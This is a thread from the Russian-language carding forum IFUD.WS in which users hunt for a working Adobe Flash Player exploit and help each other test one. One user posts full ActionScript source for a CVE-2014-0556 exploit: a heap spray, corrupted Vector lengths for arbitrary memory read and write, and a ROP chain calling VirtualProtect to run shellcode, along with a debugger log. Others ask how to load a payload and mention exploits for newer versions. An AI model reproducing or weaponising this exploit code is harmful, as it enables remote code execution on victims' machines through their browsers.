1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Поиск эксплоита для уязвимости в Adobe Flash Player

Тема в разделе "Курилка", создана пользователем RebusX, 13 янв 2015.

  1. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    Кто знаеть где можно взять в свободном доступе такой эксплоит? Или почитать техническую инфу для написания такового самому?

    Please login or register to view links
     
    Метки:
  2. morfey

    morfey

    Регистрация:
    8 янв 2015
    Сообщения:
    4
    Симпатии:
    1
    Попробуй посмотреть тут Please login or register to view links. Если пройти по ссылке на CWE ID, то там должно быть описание в строке CWE Definition, возможно это поможет.
     
  3. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    Там совсем общее описание, из него можно понять только тип (Code Injection, Buffer overflow итп). А тут нужны детали
     
  4. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    никто не знает чтоли?
     
  5. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    Собрал эксплоит ссылку на который выложил zakkk (спасибо ему)
    под уязвимость Please login or register to view links
    Но чот не могу поставить уязвимый флеш плеер версии 14.0.0.145
    Установка прохолит нормально но флеш плеер не работает в IE и в надстройках его нет...может кто что-нть подскажет

    буду пробовать дальше
     
    • Like Like x 1
  6. zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Отправь в лс , или куда-нибудь код . Сам пропробую установить , протестировать .
     
  7. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    Код пока без изменений:
    Код:
    /*(1728.eb0): Break instruction exception - code 80000003 (first chance)
    eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
    eip=08d63048 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    08d63048 cc              int     3
    1:020> dd esp l4
    08d63048  cccccccc cccccccc cccccccc cccccccc
    1:020> t
    eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
    eip=08d63049 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    08d63049 cc              int     3
    1:020> t
    eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
    eip=08d6304a esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    08d6304a cc              int     3
    1:020> t
    eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
    eip=08d6304b esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    08d6304b cc              int     3
    1:020> t
    eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
    eip=08d6304c esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    08d6304c cc              int     3
    
    */
    package {
            import flash.events.*
            import flash.media.*
            import flash.display.*
            import flash.geom.*
            import flash.utils.*
            import flash.text.*
            import flash.external.ExternalInterface
          
            public class Main extends Sprite {
                private var i0:uint
                private var i1:uint
                private var i2:uint
                private var i3:uint
                private var str:String = new String("CVE: CVE-2014-0556\nAuthor: hdarwin (@hdarwin89)\nTested on: Win7 SP1 x86 & Flash 14.0.0.145")
                private var ba:Vector.<ByteArray> = new Vector.<ByteArray>(3200)
                private var ob:Vector.<Object> = new Vector.<Object>(6400)
                private var bitmap:BitmapData = new BitmapData(0x100, 4, true, 0xffffffff)
                private var rect:Rectangle = new Rectangle(0, 0, 0x100, 4)
                private var snd:Sound
                private var vector:uint
                private var vtable:uint
                private var flash:uint
              
                public function Main():void {
                  
                    for (i0 = 0; i0 < 3200; i0++) {
                        ba[i0] = new ByteArray()
                        ba[i0].length = 0x2000
                        ba[i0].position = 0xfffff000
                    }
                  
                    for (i0 = 0; i0 < 3200; i0++) {
                        if (i0 % 2 == 0) ba[i0] = null
                        ob[i0 * 2] = new Vector.<uint>(1008)
                        ob[i0 * 2 + 1] = new Vector.<uint>(1008)
                    }
                  
                    bitmap.copyPixelsToByteArray(rect, ba[1601])
                  
                    for (i0 = 0; ; i0++)
                        if (ob[i0].length != 1008) break
                          
                            ob[i0][1024 * 3 - 2] = 0xffffffff
                  
                    for (i1 = 0; ; i1++) {
                        if (i0 == i1) continue
                        if (ob[i1].length != 1008) break
                    }
                  
                    ob[i1][0xFFFFFFFE - 1024 * 3] = 0xffffffff
                    ob[i1][0xFFFFFFFE - 1024 * 3 + 1] = ob[i0][1024 * 3 - 1]
                    ob[i0].fixed = true
                  
                    for (i2 = 1000; ; i2++) {
                        if (ob[i1][0xFFFFFFFF - i2 + 0] == 0 && ob[i1][0xFFFFFFFF - i2 + 10] == 1 && ob[i1][0xFFFFFFFF - i2 + 5] == ob[i1][0xFFFFFFFF - i2 + 15]) {
                            vector = ob[i1][0xFFFFFFFF - i2 + 11]
                            break
                        } else if (ob[i1][i2 + 0] == 0 && ob[i1][i2 + 10] == 1 && ob[i1][i2 + 5] == ob[i1][i2 + 15]) {
                            vector = ob[i1][i2 + 11]
                            break
                        }
                    }
                  
                    snd = new Sound()
                  
                    for (i2 = 0; i2 < 6400; i2++) {
                        if (i2 == i0 || i2 == i1) continue
                            ob[i2] = null
                        ob[i2] = new Vector.<Object>(1014)
                        ob[i2][0] = snd
                        ob[i2][1] = snd
                    }
                  
                    for (i2 = 0; ; i2++) {
                        if (ob[i0][i2 + 0] == 1014 &&
                            ob[i0][i2 + 1] == ob[i0][i2 + 2] &&
                            ob[i0][i2 + 3] == 1
                        ) {
                            vtable = read(ob[i0][i2 + 1] - 1)
                            flash = vtable - 0x00c3c1e8 // Flash32_14_0_0_145.ocx
                            write(ob[i0][i2 + 1] - 1, vector + 0xf54)
                            for (i3 = 0; i3 < 1008; i3++) {
                                ob[i0][i3] = 0x41414100 | i3
                            }
                            ob[i0][0] = flash + 0x004d6c50 // POP EBP # RETN
                            ob[i0][1] = flash + 0x004d6c50 // skip 4 bytes
                            ob[i0][2] = flash + 0x00a21b36 // POP EBX # RETN
                            ob[i0][3] = 0x00000201 // 0x00000201
                            ob[i0][4] = flash + 0x008ec368 // POP EDX # RETN
                            ob[i0][5] = 0x00000040 // 0x00000040
                            ob[i0][6] = flash + 0x00691119 // POP ECX # RETN
                            ob[i0][7] = vector + 2000 // Writable location
                            ob[i0][8] = flash + 0x005986d2 // POP EDI # RETN
                            ob[i0][9] = flash + 0x00061984 // RETN (ROP NOP)
                            ob[i0][10] = flash + 0x001bf342 // POP ESI # RETN
                            ob[i0][11] = flash + 0x0000d83f // JMP [EAX]
                            ob[i0][12] = flash + 0x000222b5 // POP EAX # RETN
                            ob[i0][13] = flash + 0x00b8a3a8 // ptr to VirtualProtect()
                            ob[i0][14] = flash + 0x00785916 // PUSHAD # RETN
                            ob[i0][15] = flash + 0x0017b966 // ptr to 'jmp esp'
                            ob[i0][16] = 0xcccccccc // shellcode
                            ob[i0][17] = 0xcccccccc // shellcode
                            ob[i0][18] = 0xcccccccc // shellcode
                            ob[i0][19] = 0xcccccccc // shellcode
                            ob[i0][979] = flash + 0x0029913A // POP EAX # RETN
                            ob[i0][980] = 0x00000f58
                            ob[i0][981] = flash + 0x00195558 // PUSH ESP # POP ESI # RETN
                            ob[i0][982] = flash + 0x0036B3B2 // SUB ESI,EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN
                            ob[i0][985] = flash + 0x0095024c // XCHG EAX,ESP # RETN
                            ob[i0][1007] = flash + 0x0095024c // XCHG EAX,ESP # RETN
                            break
                        }
                    }
                  
                    ob[i1][0xFFFFFFFE - 1024 * 3] = 4096
                    ob[i0][1024 * 3 - 2] = 0
                    str += flash.toString(16)
                    var tf:TextField = new TextField(); tf.width = 800; tf.height = 800; tf.text = str; addChild(tf)
                  
                    if (ExternalInterface.available) ExternalInterface.addCallback("exploit", exploit)
                }
              
                private function write(addr:uint, data:uint):void {
                    ob[i0][(addr - vector) / 4 - 2] = data
                }
              
                private function read(addr:uint):uint {
                    return ob[i0][(addr - vector) / 4 - 2]
                }
              
                private function zeroPad(number:String, width:int):String {
                    if (number.length < width)
                        return "0" + zeroPad(number, width-1)
                    return number
                }
              
                public function exploit():void {
                    snd.toString()
                }
            }
    }
    Собрать swf получилось, но проверить его работу нет, так как не могу поставить уязвимый Flash Player.
    Скачал архивный с Please login or register to view links
    установил, а плагин не появляется
     
  8. zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Please login or register to view links уже и для 16 версии появились эксплойты . Попробую код найти .


    Я установил 14.0.176 уязвимый на икспи . Запуск swf , как я понимаю , через javascript . Как пейлоад залить ?

    RebushX готов протестировать .
     
  9. TopicStarter Overlay
    RebusX

    RebusX

    Регистрация:
    4 янв 2015
    Сообщения:
    36
    Симпатии:
    5
    под 16 версию в свободном доступе не сыщешь
     

Поделиться этой страницей

Загрузка...